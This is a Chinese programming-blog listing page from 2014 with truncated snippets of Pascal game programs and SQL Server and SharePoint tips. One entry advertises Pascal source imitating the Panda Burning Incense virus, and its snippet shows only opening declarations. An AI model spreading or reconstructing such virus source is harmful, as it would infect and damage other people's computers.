用于打印杨辉三角的程序,有多种算法仅提供一种PRogram yh (input,ouput);var m,n,c:integer;BeginFor m:=0 TO 10 Do Begin c:=1; write(c:40-3*m); For n:=1 To m Do begin c:=c+(m-n+...
分类:
其他好文 时间:
2014-07-16 19:38:04
阅读次数:
148
不要消灭星星 Pascal小游戏 Chaobs改编自pascal吧控制台小游戏嘛,就当是练习一下结构化的写法。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:integer; ml:char;zb: ...
分类:
其他好文 时间:
2014-07-16 19:37:07
阅读次数:
294
一个很经典的井字棋游戏 Pascal源码Chaobs奉上注意:1.有的FP版本不支持汉语,将会出现乱码。2.别想赢电脑了,平手不错了。井字过三关:program TicTacToe;uses crt;vara:Array [1..3] of Array [1..3] of char;b:Array ...
分类:
其他好文 时间:
2014-07-16 19:34:37
阅读次数:
353
俄罗斯方块已经成为了和“Hello World”一样的程序了吧?不要直接复制,可能需要事先 Format.program cube;uses crt,graph,dos;var gd,gm:smallint;fillin:fillpatterntype;board:array[0..26,0..26...
分类:
其他好文 时间:
2014-07-16 19:33:58
阅读次数:
221
一个双人的游戏 Pascal源码附上只要俩人不脑残,一下午玩不完。。。又是控制台游戏中的一朵奇葩。Free Pascal 射击游戏Program shooting_game;uses crt;const cz:array[1..4,1..2] of -1..1=((0,1),(1,0),(0,-1)...
分类:
其他好文 时间:
2014-07-14 10:19:56
阅读次数:
322
Pascal仿熊猫烧香病毒,慎用program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; /...
分类:
其他好文 时间:
2014-07-14 10:15:24
阅读次数:
244
大富翁MUD Pascal源码 Chaobs改编自百度网友作品此源码非Chaobs原创,但转载时请仍注明出处。估计90后以后就没有孩子知道MUD了。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:in...
分类:
其他好文 时间:
2014-07-14 10:07:03
阅读次数:
166
http://www.2cto.com/database/201208/149850.html删除SQL Server Management Studio中保存的帐户信息SQL Server 2005 Management Studio 删除以下路径中的mru.dat文件2003/XPC:\Docu...
分类:
数据库 时间:
2014-07-14 10:06:26
阅读次数:
231
俄罗斯方块怀旧版(注释版){$APPTYPE GUI}{$MODE DELPHI}program WinPiece;usesWindows;constAppName = 'WinPiece';pm = 25;vardc : hdc;AMessage : Msg;hWindow: HWnd;hPen ...
分类:
其他好文 时间:
2014-07-13 12:28:45
阅读次数:
207
开发SharePoint2013 的时候,系统里面有一个“SharePoint” 的logo,客户很少不满意,我们的系统不能出现产品的名称,如下图: 咋么修改呢,咨询了广大网友,给出了一个解决方案:launch SharePoint 2013 Management Shell in Admi...
分类:
其他好文 时间:
2014-07-12 13:46:19
阅读次数:
257